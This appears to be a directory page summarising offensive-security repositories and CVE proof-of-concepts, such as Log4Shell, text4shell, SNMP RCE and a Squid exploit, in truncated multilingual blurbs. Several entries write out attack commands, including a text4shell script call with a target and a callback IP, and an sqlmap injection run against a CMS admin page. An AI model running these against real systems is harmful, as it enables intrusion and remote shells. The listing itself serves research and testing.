hardcodes

hardcodes 소스 코드에서 문자열 추출 hardcodes 는 개발자가 프로그램에 하드코딩한 문자열을 검색하는 유틸리티입니다. 모듈식 토크나이저를 사용하여 주석, 모든 수의 백슬래시 및 거의 모든 구문을 처리할 수 있습니다. 네, 모든 구문을 처리하도록 설계되었으며 다음 언어가 공식적으로 지원됩니다: ada, applescript, c, c, c++, coldfusion, golang, haskell, html, java, javascript, jsp, lua, pascal, perl, php, powershell,...

JObfuscator

JObfuscator — Javaソースコードの難読化と保護 JObfuscator は、Javaプログラミング言語向けのソースコード難読化ツールです。Javaソースコードとアルゴリズムを、ハッキング、クラッキング、リバースエンジニアリング、逆コンパイル、技術窃取から保護できます。 JObfuscatorは、Javaソースコードの真の機能を保護・隠蔽するために、さまざまな難読化技術を採用しています。 すべての変数とメソッドをリネームし、コードフローを非線形化して難読化し、最先端のポリモーフィックな文字列暗号化エンジンで全文字列を暗号化します。...

snmp-shell

SNMP Shell Net-SNMP의 extend 기능을 통한 셸 시뮬레이션 다음은 미리 보기입니다 : 설명 대상에 "extend" 기능이 있는 Net-SNMP 인스턴스가 있고, 쓰기 액세스 권한을 제공하는 SNMP 커뮤니티 문자열 을 확보했다면, 이 도구를 사용하여 SNMP RCE로 명령 전송 과정을 자동화할 수 있습니다. 이 도구는 사용자를 자동으로 실제 셸을 시뮬레이션 하는 경로로 안내합니다. 완전한 대화형 셸이 필요한 명령MySQL, Vim, Nano 등을 제외하고 상상할 수 있는 모든 명령을 사용할 수 있습니다...

CVE-2021-44228

CVE-2021-44228 체커 이 저장소는 취약점 CVE-2021-44228을 확인하기 위한 것입니다. 이것은 외부 클래스 로딩 없이 문자열만 표시하는 PoC입니다. 임의 코드 실행에 사용할 수 없습니다. 작동 방식 1단계: 서버 애플리케이션 실행 이미지 ghcr.io/greymd/cve-2021-44228/server를 사용할 수 있으며 Docker에서 실행할 수 있습니다. $ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server 2단계: log4j로 엔드포인트 ...

proctools

proctools Windows 프로세스에서 정보를 추출하고 민감한 문자열을 덤프하기 위한 작은 툴킷입니다. FormThief와 함께 사용하기 위해 만들어졌습니다. procsearch - 대상 프로세스 메모리에서 민감한 문자열 검색 읽기 가능한 프로세스 메모리에서 파싱된 문자열을 검색하고, 발견되면 검색 문자열 주변의 유효한 ASCII 문자 범위를 표시합니다. procinfo - 프로세스 실행 파일에 대한 다음 파일 버전 정보 표시: 프로세스 이름 설명 제품 이름 파일 버전 내부 이름 회사 이름 주석 저작권 상표 제품 버전...

regexploit

Regexploit Find regexes which are vulnerable to Regular Expression Denial of Service ReDoS. More info onthe Doyensec blog Many default regular expression parsers have unbounded worst-case complexity. Regex matching may be quick when presented with a matching input string. However, certain...

CVE-2016-2569

안녕하세요, 제 첫 블로그 글을 읽어주셔서 감사합니다. 오늘은 오픈소스 도구인 Squid 캐싱 프록시 서버를 위한 익스플로잇 제작에 대해 알아보겠습니다. 그래서 Squido는 무엇인가? Squid는 HTTP, HTTPS, FTP 등을 지원하는 웹 캐싱 프록시입니다. 자주 요청되는 웹 페이지를 캐싱하고 재사용하여 대역폭을 줄이고 응답 시간을 개선합니다. Squid는 광범위한 접근 제어 기능을 갖추고 있으며 훌륭한 서버 가속기 역할을 합니다. Windows를 포함한 대부분의 사용 가능한 운영 체제에서 실행되며 GNU GPL 라이선...

stringsifter

StringSifterは、マルウェア解析における関連性に基づいて文字列を自動的にランク付けする機械学習ツールです。 クイックリンク 技術ブログ記事 - より高速なマルウェア解析のための文字列出力のランク学習 発表ブログ記事 - StringSifterのオープンソース化 DerbyCon トーク - StringSifter: より高速なマルウェア解析のための文字列出力のランク学習 PyPi での StringSifter リリース 使用方法 StringSifter は Python バージョン 3.9...

cryptovenom

CryptoVenom CryptoVenom: The Cryptography Swiss Army knife What is CryptoVenom? CryptoVenom is an OpenSource tool which contains a lot of cryptosystems and cryptoanalysis methods all in one, including classical algorithms, hash algorithms, encoding algorithms, logic gates, mathematical functions,...

qsreplace

qsreplace 표준 입력에서 URL을 받아 모든 쿼리 문자열 값을 사용자가 제공한 값으로 바꾸고, 호스트와 경로당 고유한 쿼리 문자열 매개변수 조합만 출력합니다. 사용법 예제 입력 파일: ▶ cat urls.txt https://example.com/path?one=1&two=2 https://example.com/path?two=2&one=1 https://example.com/pathtwo?two=2&one=1 https://example.net/a/path?two=2&one=1 쿼리 문자열 값 바꾸기 ▶ cat...

wordlistgen

wordlistgen 무엇이며 왜 필요한가? wordlistgen은 URL 목록을 입력받아 워드리스트에 유용한 관련 단어 목록을 반환하는 도구입니다. 워드리스트는 애플리케이션의 맥락을 고려할 때 훨씬 더 효과적입니다. wordlistgen은 서브도메인 이름, 경로, 쿼리 문자열 등 URL 구성 요소를 추출하여 stdout으로 출력하므로 워드리스트에 쉽게 추가할 수 있습니다. 설치 Go가 설치되어 있지 않다면, "go"로 설치하세요! go get -u github.com/ameenmaali/wordlistgen 사용법...

wordlistgen

wordlistgen What and why? wordlistgen is a tool to pass a list of URLs and get back a list of relevant words for your wordlists. Wordlists are much more effective when you take the application's context into consideration. wordlistgen pulls out URL components, such as subdomain names, paths, quer...

discourse-CVE-2023-45806

yksivaihde-CVE-2023-45806 CVE: https://github.com/discourse/discourse/security/advisories/GHSA-hcgf-hg2g-mw78 Patch: https://github.com/discourse/discourse/commit/7d484864fe91ff79c478f57e7ddb1235d701921e usage: fixquoteattribution"Username|", , 여기서 "Username|"는 인용문 귀속quote attribution 내의 고유 검색...

AutoIt-Obfuscator

AutoIt Obfuscator — AutoIt スクリプトソースコード用難読化ツール AutoIt Obfuscator は、AutoIt スクリプトのソースコードを、難読化されたコードの解析を非常に困難にする方法で変更するツールです。 より詳細な技術情報、ダウンロード、ドキュメントは以下で入手できます: https://www.pelock.com/products/autoit-obfuscator オンラインインターフェース: https://www.pelock.com/autoit-obfuscator/ ソースコードの難読化とは? 難読化とは、AutoIt...

cve-2018-12798

Adobe Acrobat Reader 힙 오버플로 원격 코드 실행 취약점 취약점 메모리 버퍼 범위 내 작업 제한 부적절 취약점 취약점 설명 이 취약점을 통해 원격 공격자는 취약한 Adobe Acrobat Pro DC 설치 환경에서 임의 코드를 실행할 수 있습니다. 이 취약점을 악용하려면 사용자 상호작용이 필요하며, 대상이 악성 페이지를 방문하거나 악성 파일을 열어야 합니다. 구체적인 결함은 유니코드 문자열 처리 과정에 존재합니다. 구문 분석 시 프로세스는 사용자 제공 데이터를 고정 길이 힙 기반 버퍼에 복사하기 전에 데이터 길...

rbuster

Rbuster yet another dirbuster Common Command line options -a - specify a user agent string to send in the request -c - use this to specify any cookies that you might need simulating auth. header. -f - force processing of a domain with wildcard results. -l - show the length of the response. -r...

commons-text-goat

Commons-Text Goat 이 웹앱은 CVE-2022-42889에 의도적으로 취약하도록 만들어진 것입니다. 내장 Jetty 서버와 Maven을 사용하여 8080 포트의 \api URL에서 수신 대기하는 서블릿을 시작합니다. 이 엔드포인트는 URL 매개변수 cmd를 허용합니다. 이 값은 $와 사이에 삽입된 후 StringSubstitutor 함수에 전달되며, 이 함수는 차례로 StringLookupFactory를 구현합니다. StringLookupFactory에는 신뢰할 수 없는 입력이 제공될 경우 쉽게 악용될 수 있는...

CVE-2020-16947

CVE-2020-16947 Outlook 2019 원격 명령 실행 이 버그는 HTML 콘텐츠를 구문 분석할 때 발생합니다. 공격자가 이 익스플로잇을 성공적으로 실행하면 원격 명령 실행으로 이어질 수 있습니다. HTML 콘텐츠 중 ASCII 범위를 벗어난 문자열을 복사할 때, 해당 문자열이 0xfffd로 대체됩니다. 결과적으로 복사된 문자열의 크기가 두 배가 되어, src 버퍼와 dst 버퍼의 크기가 동일함에도 불구하고 버퍼 오버플로가 발생합니다. 0데이 익스플로잇에 관심이 있으시면 [email protected]으로...

riskootext4shell

riskootext4shell text4shell script for text coomons =1.10 CVE-2022-33980 Apache Commons Text 라이브러리는 Java JDK의 기본 기능에 대한 대체 라이브러리입니다. Apache Commons 1.10.0 미만 버전 CVE-2022-33980와 유사 python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22 완화 조치 주요 해결책은 Apache...

CVE-2022-37201

CVE-2022-37201 CVE-2022-37201 POC POC 먼저 sqlmap을 설치해야 합니다. 설정해야 합니다: 대상 도메인 또는 IP 쿠키 그런 다음 셸을 실행하세요. sqlmap -u http://targetDomainOrIP/jfinalcms/jfinalcms/admin/contact/list --thread 8 --batch --smart --random-agent --data "...